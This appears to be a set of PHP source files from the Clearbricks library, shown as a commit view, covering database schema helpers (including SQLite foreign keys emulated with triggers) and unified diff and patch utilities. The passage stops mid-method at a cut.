} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$sql = 'ALTER TABLE ' . $table . ' ADD COLUMN ' . $name . ' ' . $type . ($len > 0 ? '(' . $len . ')' : '') . ' ' . ($null ? 'NULL' : 'NOT NULL') . ' ' . $default;
$this->con->execute($sql);
}
/**
* Create primary key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The cols
*/
public function db_create_primary(string $table, string $name, array $fields): void
{
$sql = 'ALTER TABLE ' . $table . ' ' .
'ADD CONSTRAINT ' . $name . ' PRIMARY KEY (' . implode(',', $fields) . ') ';
$this->con->execute($sql);
}
/**
* Create a unique key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_unique(string $table, string $name, array $fields): void
{
$sql = 'ALTER TABLE ' . $table . ' ' .
'ADD CONSTRAINT ' . $name . ' UNIQUE (' . implode(',', $fields) . ') ';
$this->con->execute($sql);
}
/**
* Create an index
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*/
public function db_create_index(string $table, string $name, string $type, array $fields): void
{
$sql = 'CREATE INDEX ' . $name . ' ON ' . $table . ' USING ' . $type .
'(' . implode(',', $fields) . ') ';
$this->con->execute($sql);
}
/**
* Create a reference
*
* @param string $name The name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param string|bool $update The update
* @param string|bool $delete The delete
*/
public function db_create_reference(string $name, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
$sql = 'ALTER TABLE ' . $table . ' ' .
'ADD CONSTRAINT ' . $name . ' FOREIGN KEY ' .
'(' . implode(',', $fields) . ') ' .
'REFERENCES ' . $foreign_table . ' ' .
'(' . implode(',', $foreign_fields) . ') ';
if ($update) {
$sql .= 'ON UPDATE ' . $update . ' ';
}
if ($delete) {
$sql .= 'ON DELETE ' . $delete . ' ';
}
$this->con->execute($sql);
}
/**
* Modify a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default value
*/
public function db_alter_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
$sql = 'ALTER TABLE ' . $table . ' ALTER COLUMN ' . $name . ' TYPE ' . $type . ($len > 0 ? '(' . $len . ')' : '');
$this->con->execute($sql);
if ($default === null) {
$default = 'SET DEFAULT NULL';
} elseif ($default !== false) {
$default = 'SET DEFAULT ' . $default;
} else {
$default = 'DROP DEFAULT';
}
$sql = 'ALTER TABLE ' . $table . ' ALTER COLUMN ' . $name . ' ' . $default;
$this->con->execute($sql);
$null = $null ? 'DROP NOT NULL' : 'SET NOT NULL';
$sql = 'ALTER TABLE ' . $table . ' ALTER COLUMN ' . $name . ' ' . $null;
$this->con->execute($sql);
}
/**
* Modify a primary key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*/
public function db_alter_primary(string $table, string $name, string $newname, array $fields): void
{
$sql = 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $name;
$this->con->execute($sql);
$this->createPrimary($table, $newname, $fields);
}
/**
* Modify a unique key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*/
public function db_alter_unique(string $table, string $name, string $newname, array $fields): void
{
$sql = 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $name;
$this->con->execute($sql);
$this->createUnique($table, $newname, $fields);
}
/**
* Modify an index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param string $type The type
* @param array $fields The fields
*/
public function db_alter_index(string $table, string $name, string $newname, string $type, array $fields): void
{
$sql = 'DROP INDEX ' . $name;
$this->con->execute($sql);
$this->createIndex($table, $newname, $type, $fields);
}
/**
* Modify a reference (foreign key)
*
* @param string $name The name
* @param string $newname The newname
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*/
public function db_alter_reference(string $name, string $newname, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
$sql = 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $name;
$this->con->execute($sql);
$this->createReference($newname, $table, $fields, $foreign_table, $foreign_fields, $update, $delete);
}
/**
* Remove a unique key
*
* @param string $table The table
* @param string $name The name
*/
public function db_drop_unique(string $table, string $name): void
{
$sql = 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $name;
$this->con->execute($sql);
}
}

View file

@ -0,0 +1,637 @@
<?php
/**
* @class sqliteSchema
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class sqliteSchema extends dbSchema implements i_dbSchema
{
private $table_hist = [];
private $table_stack = []; // Stack for tables creation
private $x_stack = []; // Execution stack
/**
* Translate DB type to universal type
*
* @param string $type The type
* @param int|null $len The length
* @param mixed $default The default value
*
* @return string
*/
public function dbt2udt(string $type, ?int &$len, &$default): string
{
$type = parent::dbt2udt($type, $len, $default);
switch ($type) {
case 'float':
return 'real';
case 'double':
return 'float';
case 'timestamp':
# DATETIME real type is TIMESTAMP
if ($default === "'1970-01-01 00:00:00'") {
# Bad hack
$default = 'now()';
}
return 'timestamp';
case 'integer':
case 'mediumint':
case 'bigint':
case 'tinyint':
case 'smallint':
case 'numeric':
return 'integer';
case 'tinytext':
case 'longtext':
return 'text';
}
return $type;
}
/**
* Translate universal type to DB type
*
* @param string $type The type
* @param int $len The length
* @param mixed $default The default value
*
* @return string
*/
public function udt2dbt(string $type, ?int &$len, &$default): string
{
$type = parent::udt2dbt($type, $len, $default);
switch ($type) {
case 'integer':
case 'smallint':
case 'bigint':
return 'integer';
case 'real':
case 'float:':
return 'real';
case 'date':
case 'time':
return 'timestamp';
case 'timestamp':
if ($default === 'now()') {
# SQLite does not support now() default value...
$default = "'1970-01-01 00:00:00'";
}
return $type;
}
return $type;
}
public function flushStack(): void
{
foreach ($this->table_stack as $table => $def) {
$sql = 'CREATE TABLE ' . $table . " (\n" . implode(",\n", $def) . "\n)\n ";
$this->con->execute($sql);
}
foreach ($this->x_stack as $x) {
$this->con->execute($x);
}
}
/**
* Get DB tables
*
* @return array
*/
public function db_get_tables(): array
{
$res = [];
$sql = "SELECT * FROM sqlite_master WHERE type = 'table'";
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$res[] = $rs->tbl_name;
}
return $res;
}
/**
* Get DB table's fields
*
* @param string $table The table name
*
* @return array Array of columns properties
*/
public function db_get_columns(string $table): array
{
$sql = 'PRAGMA table_info(' . $this->con->escapeSystem($table) . ')';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$field = trim($rs->name);
$type = trim($rs->type);
$null = trim($rs->notnull) == 0;
$default = trim($rs->dflt_value);
$len = null;
if (preg_match('/^(.+?)\(([\d,]+)\)$/si', $type, $m)) {
$type = $m[1];
$len = (int) $m[2];
}
$res[$field] = [
'type' => $type,
'len' => $len,
'null' => $null,
'default' => $default,
];
}
return $res;
}
/**
* Get DB table's keys
*
* @param string $table The table name
*
* @return array Array of keys properties
*/
public function db_get_keys(string $table): array
{
$res = [];
# Get primary keys first
$sql = "SELECT sql FROM sqlite_master WHERE type='table' AND name='" . $this->con->escape($table) . "'";
$rs = $this->con->select($sql);
if ($rs->isEmpty()) {
return [];
}
# Get primary keys
$n = preg_match_all('/^\s*CONSTRAINT\s+([^,]+?)\s+PRIMARY\s+KEY\s+\((.+?)\)/msi', $rs->sql, $match);
if ($n > 0) {
foreach ($match[1] as $i => $name) {
$cols = preg_split('/\s*,\s*/', $match[2][$i]);
$res[] = [
'name' => $name,
'primary' => true,
'unique' => false,
'cols' => $cols,
];
}
}
# Get unique keys
$n = preg_match_all('/^\s*CONSTRAINT\s+([^,]+?)\s+UNIQUE\s+\((.+?)\)/msi', $rs->sql, $match);
if ($n > 0) {
foreach ($match[1] as $i => $name) {
$cols = preg_split('/\s*,\s*/', $match[2][$i]);
$res[] = [
'name' => $name,
'primary' => false,
'unique' => true,
'cols' => $cols,
];
}
}
return $res;
}
/**
* Get DB table's indexes
*
* @param string $table The table name
*
* @return array Array of indexes properties
*/
public function db_get_indexes(string $table): array
{
$sql = 'PRAGMA index_list(' . $this->con->escapeSystem($table) . ')';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
if (preg_match('/^sqlite_/', $rs->name)) {
continue;
}
$idx = $this->con->select('PRAGMA index_info(' . $this->con->escapeSystem($rs->name) . ')');
$cols = [];
while ($idx->fetch()) {
$cols[] = $idx->name;
}
$res[] = [
'name' => $rs->name,
'type' => 'btree',
'cols' => $cols,
];
}
return $res;
}
/**
* Get DB table's references
*
* @param string $table The table name
*
* @return array Array of references properties
*/
public function db_get_references(string $table): array
{
$sql = 'SELECT * FROM sqlite_master WHERE type=\'trigger\' AND tbl_name = \'%1$s\' AND name LIKE \'%2$s_%%\' ';
$res = [];
# Find constraints on table
$bir = $this->con->select(sprintf($sql, $this->con->escape($table), 'bir'));
$bur = $this->con->select(sprintf($sql, $this->con->escape($table), 'bur'));
if ($bir->isEmpty() || $bur->isempty()) {
return $res;
}
while ($bir->fetch()) {
# Find child column and parent table and column
if (!preg_match('/FROM\s+(.+?)\s+WHERE\s+(.+?)\s+=\s+NEW\.(.+?)\s*?\) IS\s+NULL/msi', $bir->sql, $m)) {
continue;
}
$c_col = $m[3];
$p_table = $m[1];
$p_col = $m[2];
# Find on update
$on_update = 'restrict';
$aur = $this->con->select(sprintf($sql, $this->con->escape($p_table), 'aur'));
while ($aur->fetch()) {
if (!preg_match('/AFTER\s+UPDATE/msi', $aur->sql)) {
continue;
}
if (preg_match('/UPDATE\s+' . $table . '\s+SET\s+' . $c_col . '\s*=\s*NEW.' . $p_col .
'\s+WHERE\s+' . $c_col . '\s*=\s*OLD\.' . $p_col . '/msi', $aur->sql)) {
$on_update = 'cascade';
break;
}
if (preg_match('/UPDATE\s+' . $table . '\s+SET\s+' . $c_col . '\s*=\s*NULL' .
'\s+WHERE\s+' . $c_col . '\s*=\s*OLD\.' . $p_col . '/msi', $aur->sql)) {
$on_update = 'set null';
break;
}
}
# Find on delete
$on_delete = 'restrict';
$bdr = $this->con->select(sprintf($sql, $this->con->escape($p_table), 'bdr'));
while ($bdr->fetch()) {
if (!preg_match('/BEFORE\s+DELETE/msi', $bdr->sql)) {
continue;
}
if (preg_match('/DELETE\s+FROM\s+' . $table . '\s+WHERE\s+' . $c_col . '\s*=\s*OLD\.' . $p_col . '/msi', $bdr->sql)) {
$on_delete = 'cascade';
break;
}
if (preg_match('/UPDATE\s+' . $table . '\s+SET\s+' . $c_col . '\s*=\s*NULL' .
'\s+WHERE\s+' . $c_col . '\s*=\s*OLD\.' . $p_col . '/msi', $bdr->sql)) {
$on_update = 'set null';
break;
}
}
$res[] = [
'name' => substr($bir->name, 4),
'c_cols' => [$c_col],
'p_table' => $p_table,
'p_cols' => [$p_col],
'update' => $on_update,
'delete' => $on_delete,
];
}
return $res;
}
/**
* Create table
*
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_table(string $name, array $fields): void
{
$a = [];
foreach ($fields as $n => $f) {
$type = $f['type'];
$len = (int) $f['len'];
$default = $f['default'];
$null = $f['null'];
$type = $this->udt2dbt($type, $len, $default);
$len = $len > 0 ? '(' . $len . ')' : '';
$null = $null ? 'NULL' : 'NOT NULL';
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$a[] = $n . ' ' . $type . $len . ' ' . $null . ' ' . $default;
}
$this->table_stack[$name][] = implode(",\n", $a);
$this->table_hist[$name] = $fields;
}
/**
* Create a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*/
public function db_create_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ADD COLUMN ' . $this->con->escapeSystem($name) . ' ' . $type . ($len > 0 ? '(' . $len . ')' : '') . ' ' . ($null ? 'NULL' : 'NOT NULL') . ' ' . $default;
$this->con->execute($sql);
}
/**
* Create a primary key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_primary(string $table, string $name, array $fields): void
{
$this->table_stack[$table][] = 'CONSTRAINT ' . $name . ' PRIMARY KEY (' . implode(',', $fields) . ') ';
}
/**
* Create a unique key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_unique(string $table, string $name, array $fields): void
{
$this->table_stack[$table][] = 'CONSTRAINT ' . $name . ' UNIQUE (' . implode(',', $fields) . ') ';
}
/**
* Create an index
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*/
public function db_create_index(string $table, string $name, string $type, array $fields): void
{
$this->x_stack[] = 'CREATE INDEX ' . $name . ' ON ' . $table . ' (' . implode(',', $fields) . ') ';
}
/**
* Create reference
*
* @param string $name The name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*
* @throws Exception
*/
public function db_create_reference(string $name, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
if (!isset($this->table_hist[$table])) {
return;
}
if (count($fields) > 1 || count($foreign_fields) > 1) {
throw new Exception('SQLite UDBS does not support multiple columns foreign keys');
}
$c_col = $fields[0];
$p_col = $foreign_fields[0];
$update = $update !== false ? strtolower($update) : '';
$delete = $delete !== false ? strtolower($delete) : '';
$cnull = $this->table_hist[$table][$c_col]['null'];
# Create constraint
$this->x_stack[] = 'CREATE TRIGGER bir_' . $name . "\n" .
'BEFORE INSERT ON ' . $table . "\n" .
"FOR EACH ROW BEGIN\n" .
' SELECT RAISE(ROLLBACK,\'insert on table "' . $table . '" violates foreign key constraint "' . $name . '"\')' . "\n" .
' WHERE ' .
($cnull ? 'NEW.' . $c_col . " IS NOT NULL\n AND " : '') .
'(SELECT ' . $p_col . ' FROM ' . $foreign_table . ' WHERE ' . $p_col . ' = NEW.' . $c_col . ") IS NULL;\n" .
"END;\n";
# Update constraint
$this->x_stack[] = 'CREATE TRIGGER bur_' . $name . "\n" .
'BEFORE UPDATE ON ' . $table . "\n" .
"FOR EACH ROW BEGIN\n" .
' SELECT RAISE(ROLLBACK,\'update on table "' . $table . '" violates foreign key constraint "' . $name . '"\')' . "\n" .
' WHERE ' .
($cnull ? 'NEW.' . $c_col . " IS NOT NULL\n AND " : '') .
'(SELECT ' . $p_col . ' FROM ' . $foreign_table . ' WHERE ' . $p_col . ' = NEW.' . $c_col . ") IS NULL;\n" .
"END;\n";
# ON UPDATE
if ($update === 'cascade') {
$this->x_stack[] = 'CREATE TRIGGER aur_' . $name . "\n" .
'AFTER UPDATE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' UPDATE ' . $table . ' SET ' . $c_col . ' = NEW.' . $p_col . ' WHERE ' . $c_col . ' = OLD.' . $p_col . ";\n" .
"END;\n";
} elseif ($update === 'set null') {
$this->x_stack[] = 'CREATE TRIGGER aur_' . $name . "\n" .
'AFTER UPDATE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' UPDATE ' . $table . ' SET ' . $c_col . ' = NULL WHERE ' . $c_col . ' = OLD.' . $p_col . ";\n" .
"END;\n";
} else { # default on restrict
$this->x_stack[] = 'CREATE TRIGGER burp_' . $name . "\n" .
'BEFORE UPDATE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' SELECT RAISE (ROLLBACK,\'update on table "' . $foreign_table . '" violates foreign key constraint "' . $name . '"\')' . "\n" .
' WHERE (SELECT ' . $c_col . ' FROM ' . $table . ' WHERE ' . $c_col . ' = OLD.' . $p_col . ") IS NOT NULL;\n" .
"END;\n";
}
# ON DELETE
if ($delete === 'cascade') {
$this->x_stack[] = 'CREATE TRIGGER bdr_' . $name . "\n" .
'BEFORE DELETE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' DELETE FROM ' . $table . ' WHERE ' . $c_col . ' = OLD.' . $p_col . ";\n" .
"END;\n";
} elseif ($delete === 'set null') {
$this->x_stack[] = 'CREATE TRIGGER bdr_' . $name . "\n" .
'BEFORE DELETE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' UPDATE ' . $table . ' SET ' . $c_col . ' = NULL WHERE ' . $c_col . ' = OLD.' . $p_col . ";\n" .
"END;\n";
} else {
$this->x_stack[] = 'CREATE TRIGGER bdr_' . $name . "\n" .
'BEFORE DELETE ON ' . $foreign_table . "\n" .
"FOR EACH ROW BEGIN\n" .
' SELECT RAISE (ROLLBACK,\'delete on table "' . $foreign_table . '" violates foreign key constraint "' . $name . '"\')' . "\n" .
' WHERE (SELECT ' . $c_col . ' FROM ' . $table . ' WHERE ' . $c_col . ' = OLD.' . $p_col . ") IS NOT NULL;\n" .
"END;\n";
}
}
/**
* Modify a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*
* @throws Exception
*/
public function db_alter_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
if ($type != 'integer' && $type != 'text' && $type != 'timestamp') {
throw new Exception('SQLite fields cannot be changed.');
}
}
/**
* Modify a primary key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*
* @throws Exception
*/
public function db_alter_primary(string $table, string $name, string $newname, array $fields): void
{
throw new Exception('SQLite primary key cannot be changed.');
}
/**
* Modify a unique key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*
* @throws Exception
*/
public function db_alter_unique(string $table, string $name, string $newname, array $fields): void
{
throw new Exception('SQLite unique index cannot be changed.');
}
/**
* Modify an index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param string $type The type
* @param array $fields The fields
*/
public function db_alter_index(string $table, string $name, string $newname, string $type, array $fields): void
{
$this->con->execute('DROP INDEX IF EXISTS ' . $name);
$this->con->execute('CREATE INDEX ' . $newname . ' ON ' . $table . ' (' . implode(',', $fields) . ') ');
}
/**
* Modify a reference (foreign key)
*
* @param string $name The name
* @param string $newname The newname
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param string|bool $update The update
* @param string|bool $delete The delete
*/
public function db_alter_reference(string $name, string $newname, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
$this->con->execute('DROP TRIGGER IF EXISTS bur_' . $name);
$this->con->execute('DROP TRIGGER IF EXISTS burp_' . $name);
$this->con->execute('DROP TRIGGER IF EXISTS bir_' . $name);
$this->con->execute('DROP TRIGGER IF EXISTS aur_' . $name);
$this->con->execute('DROP TRIGGER IF EXISTS bdr_' . $name);
$this->table_hist[$table] = $this->db_get_columns($table);
$this->db_create_reference($newname, $table, $fields, $foreign_table, $foreign_fields, $update, $delete);
}
/**
* Remove a unique key
*
* @param string $table The table
* @param string $name The name
*
* @throws Exception
*/
public function db_drop_unique(string $table, string $name): void
{
throw new Exception('SQLite unique index cannot be removed.');
}
}

View file

@ -0,0 +1,359 @@
<?php
/**
* @class diff
* @brief Unified diff
*
* Diff utilities
*
* @package Clearbricks
* @subpackage Diff
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class diff
{
// Constants
private const US_RANGE = "@@ -%s,%s +%s,%s @@\n";
private const US_CTX = " %s\n";
private const US_INS = "+%s\n";
private const US_DEL = "-%s\n";
private const UP_RANGE = '/^@@ -([\d]+),([\d]+) \+([\d]+),([\d]+) @@/';
private const UP_CTX = '/^ (.*)$/';
private const UP_INS = '/^\+(.*)$/';
private const UP_DEL = '/^-(.*)$/';
/**
* Finds the shortest edit script using a fast algorithm taken from paper
* "An O(ND) Difference Algorithm and Its Variations" by Eugene W.Myers,
* 1986.
*
* @param array $src Original data
* @param array $dst New data
*
* @return array
*/
public static function SES(array $src, array $dst): array
{
$x = $y = $k = 0;
$cx = count($src);
$cy = count($dst);
$stack = [];
$V = [1 => 0];
$end_reached = false;
# Find LCS length
for ($D = 0; $D < $cx + $cy + 1 && !$end_reached; $D++) {
for ($k = -$D; $k <= $D; $k += 2) {
$x = ($k == -$D || $k != $D && $V[$k - 1] < $V[$k + 1])
? $V[$k + 1] : $V[$k - 1] + 1;
$y = $x - $k;
while ($x < $cx && $y < $cy && $src[$x] == $dst[$y]) {
$x++;
$y++;
}
$V[$k] = $x;
if ($x == $cx && $y == $cy) {
$end_reached = true;
break;
}
}
$stack[] = $V;
}
$D--;
# Recover edit path
$res = [];
for ($D = $D; $D > 0; $D--) {
$V = array_pop($stack);
$cx = $x;
$cy = $y;
# Try right diagonal
$k++;
$x = array_key_exists($k, $V) ? $V[$k] : 0;
$y = $x - $k;
$y++;
while ($x < $cx && $y < $cy
&& isset($src[$x]) && isset($dst[$y]) && $src[$x] == $dst[$y]) {
$x++;
$y++;
}
if ($x == $cx && $y == $cy) {
$x = $V[$k];
$y = $x - $k;
$res[] = ['i', $x, $y];
continue;
}
# Right diagonal wasn't the solution, use left diagonal
$k -= 2;
$x = $V[$k];
$y = $x - $k;
$res[] = ['d', $x, $y];
}
return array_reverse($res);
}
/**
* Returns unified diff from source $src to destination $dst.
*
* @param string $src Original data
* @param string $dst New data
* @param int $ctx Context length
*
* @return string
*/
public static function uniDiff(string $src, string $dst, int $ctx = 2): string
{
[$src, $dst] = [explode("\n", $src), explode("\n", $dst)];
$ses = diff::SES($src, $dst);
$res = '';
$pos_x = 0;
$pos_y = 0;
$old_lines = 0;
$new_lines = 0;
$buffer = '';
foreach ($ses as $cmd) {
[$cmd, $x, $y] = [$cmd[0], $cmd[1], $cmd[2]];
# New chunk
if ($x - $pos_x > 2 * $ctx || $pos_x == 0 && $x > $ctx) {
# Footer for current chunk
for ($i = 0; $buffer && $i < $ctx; $i++) {
$buffer .= sprintf(self::US_CTX, $src[$pos_x + $i]);
}
# Header for current chunk
$res .= sprintf(
self::US_RANGE,
$pos_x + 1 - $old_lines,
$old_lines + $i,
$pos_y + 1 - $new_lines,
$new_lines + $i
) . $buffer;
$pos_x = $x;
$pos_y = $y;
$old_lines = 0;
$new_lines = 0;
$buffer = '';
# Header for next chunk
for ($i = $ctx; $i > 0; $i--) {
$buffer .= sprintf(self::US_CTX, $src[$pos_x - $i]);
$old_lines++;
$new_lines++;
}
}
# Context
while ($x > $pos_x) {
$old_lines++;
$new_lines++;
$buffer .= sprintf(self::US_CTX, $src[$pos_x]);
$pos_x++;
$pos_y++;
}
# Deletion
if ($cmd == 'd') {
$old_lines++;
$buffer .= sprintf(self::US_DEL, $src[$x]);
$pos_x++;
}
# Insertion
elseif ($cmd == 'i') {
$new_lines++;
$buffer .= sprintf(self::US_INS, $dst[$y]);
$pos_y++;
}
}
# Remaining chunk
if ($buffer) {
# Footer
for ($i = 0; $i < $ctx; $i++) {
if (!isset($src[$pos_x + $i])) {
break;
}
$buffer .= sprintf(self::US_CTX, $src[$pos_x + $i]);
}
# Header for current chunk
$res .= sprintf(
self::US_RANGE,
$pos_x + 1 - $old_lines,
$old_lines + $i,
$pos_y + 1 - $new_lines,
$new_lines + $i
) . $buffer;
}
return $res;
}
/**
* Applies a unified patch to a piece of text.
* Throws an exception on invalid or not applicable diff.
*
* @param string $src Source text
* @param string $diff Patch to apply
*
* @return string
*/
public static function uniPatch(string $src, string $diff): string
{
$dst = [];
$src = explode("\n", $src);
$diff = explode("\n", $diff);
$t = count($src);
$old_length = $new_length = 0;
foreach ($diff as $line) {
# New chunk
if (preg_match(self::UP_RANGE, $line, $m)) {
$m[1]--;
$m[3]--;
if ($m[1] > $t) {
throw new Exception(__('Bad range'));
}
if ($t - count($src) > $m[1]) {
throw new Exception(__('Invalid range'));
}
while ($t - count($src) < $m[1]) {
$dst[] = array_shift($src);
}
if (count($dst) !== $m[3]) {
throw new Exception(__('Invalid line number'));
}
if ($old_length || $new_length) { // @phpstan-ignore-line
throw new Exception(__('Chunk is out of range'));
}
$old_length = (int) $m[2];
$new_length = (int) $m[4];
}
# Context
elseif (preg_match(self::UP_CTX, $line, $m)) {
if (array_shift($src) !== $m[1]) {
throw new Exception(__('Bad context'));
}
$dst[] = $m[1];
$old_length--;
$new_length--;
}
# Addition
elseif (preg_match(self::UP_INS, $line, $m)) {
$dst[] = $m[1];
$new_length--;
}
# Deletion
elseif (preg_match(self::UP_DEL, $line, $m)) {
if (array_shift($src) !== $m[1]) {
throw new Exception(__('Bad context (in deletion)'));
}
$old_length--;
} elseif ($line == '') {
continue;
} else {
throw new Exception(__('Invalid diff format'));
}
}
if ($old_length || $new_length) {
throw new Exception(__('Chunk is out of range'));
}
return implode("\n", array_merge($dst, $src));
}
/**
* Throws an exception on invalid unified diff.
*
* @param string $diff Diff text to check
*/
public static function uniCheck(string $diff): void
{
$diff = explode("\n", $diff);
$cur_line = 1;
$ins_lines = 0;
# Chunk length
$old_length = $new_length = 0;
foreach ($diff as $line) {
# New chunk
if (preg_match(self::UP_RANGE, $line, $m)) {
if ($cur_line > $m[1]) {
throw new Exception(__('Invalid range'));
}
while ($cur_line < $m[1]) {
$ins_lines++;
$cur_line++;
}
if ($ins_lines + 1 != $m[3]) {
throw new Exception(__('Invalid line number'));
}
if ($old_length || $new_length) {
throw new Exception(__('Chunk is out of range'));
}
$old_length = $m[2];
$new_length = $m[4];
}
# Context
elseif (preg_match(self::UP_CTX, $line, $m)) {
$ins_lines++;
$cur_line++;
$old_length--;
$new_length--;
}
# Addition
elseif (preg_match(self::UP_INS, $line, $m)) {
$ins_lines++;
$new_length--;
}
# Deletion
elseif (preg_match(self::UP_DEL, $line, $m)) {
$cur_line++;
$old_length--;
}
# Skip empty lines
elseif ($line == '') {
continue;
}
# Unrecognized diff format
else {
throw new Exception(__('Invalid diff format'));
}
}
if ($old_length || $new_length) {
throw new Exception(__('Chunk is out of range'));
}
}
}

View file

@ -0,0 +1,363 @@
<?php
/**
* @class tidyDiff
* @brief TIDY diff
*
* A TIDY diff representation
*
* @package Clearbricks
* @subpackage Diff
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tidyDiff
{
// Constants
private const UP_RANGE = '/^@@ -([\d]+),([\d]+) \+([\d]+),([\d]+) @@/m';
private const UP_CTX = '/^ (.*)$/';
private const UP_INS = '/^\+(.*)$/';
private const UP_DEL = '/^-(.*)$/';
/**
* Chunks array
*
* @var array
*/
protected $__data = [];
/**
* Constructor
*
* Creates a diff representation from unified diff.
*
* @param string $udiff Unified diff
* @param bool $inline_changes Find inline changes
*/
public function __construct(string $udiff, bool $inline_changes = false)
{
diff::uniCheck($udiff);
preg_match_all(self::UP_RANGE, $udiff, $context);
$chunks = preg_split(self::UP_RANGE, $udiff, -1, PREG_SPLIT_NO_EMPTY);
foreach ($chunks as $k => $chunk) {
$tidy_chunk = new tidyDiffChunk();
$tidy_chunk->setRange(
(int) $context[1][$k],
(int) $context[2][$k],
(int) $context[3][$k],
(int) $context[4][$k]
);
$old_line = (int) $context[1][$k];
$new_line = (int) $context[3][$k];
foreach (explode("\n", $chunk) as $line) {
# context
if (preg_match(self::UP_CTX, $line, $m)) {
$tidy_chunk->addLine('context', [$old_line, $new_line], $m[1]);
$old_line++;
$new_line++;
}
# insertion
if (preg_match(self::UP_INS, $line, $m)) {
$tidy_chunk->addLine('insert', [$old_line, $new_line], $m[1]);
$new_line++;
}
# deletion
if (preg_match(self::UP_DEL, $line, $m)) {
$tidy_chunk->addLine('delete', [$old_line, $new_line], $m[1]);
$old_line++;
}
}
if ($inline_changes) {
$tidy_chunk->findInsideChanges();
}
array_push($this->__data, $tidy_chunk);
}
}
/**
* All chunks
*
* Returns all chunks defined.
*
* @return array
*/
public function getChunks(): array
{
return $this->__data;
}
}
/**
* @class tidyDiffChunk
* @brief TIDY diff chunk
*
* A diff chunk representation. Used by a TIDY diff.
*
* @package Clearbricks
* @subpackage Diff
*/
class tidyDiffChunk
{
/**
* Chunk information array
*
* @var array
*/
protected $__info;
/**
* Chunk data array
*
* @var array
*/
protected $__data;
/**
* Constructor
*
* Creates and initializes a chunk representation for a TIDY diff.
*/
public function __construct()
{
$this->__info = [
'context' => 0,
'delete' => 0,
'insert' => 0,
'range' => [
'start' => [],
'end' => [],
],
];
$this->__data = [];
}
/**
* Set chunk range
*
* Sets chunk range in TIDY chunk object.
*
* @param int $line_start Old start line number
* @param int $offest_start Old offset number
* @param int $line_end new start line number
* @param int $offset_end New offset number
*/
public function setRange(int $line_start, int $offest_start, int $line_end, int $offset_end): void
{
$this->__info['range']['start'] = [$line_start, $offest_start];
$this->__info['range']['end'] = [$line_end, $offset_end];
}
/**
* Add line
*
* Adds TIDY line object for TIDY chunk object.
*
* @param string $type Tine type
* @param array $lines Line number for old and new context
* @param string $content Line content
*/
public function addLine(string $type, array $lines, string $content): void
{
$tidy_line = new tidyDiffLine($type, $lines, $content);
array_push($this->__data, $tidy_line);
$this->__info[$type]++;
}
/**
* All lines
*
* Returns all lines defined.
*
* @return array
*/
public function getLines(): array
{
return $this->__data;
}
/**
* Chunk information
*
* Returns chunk information according to the given name, null otherwise.
*
* @param string $n Info name
*
* @return mixed
*/
public function getInfo($n)
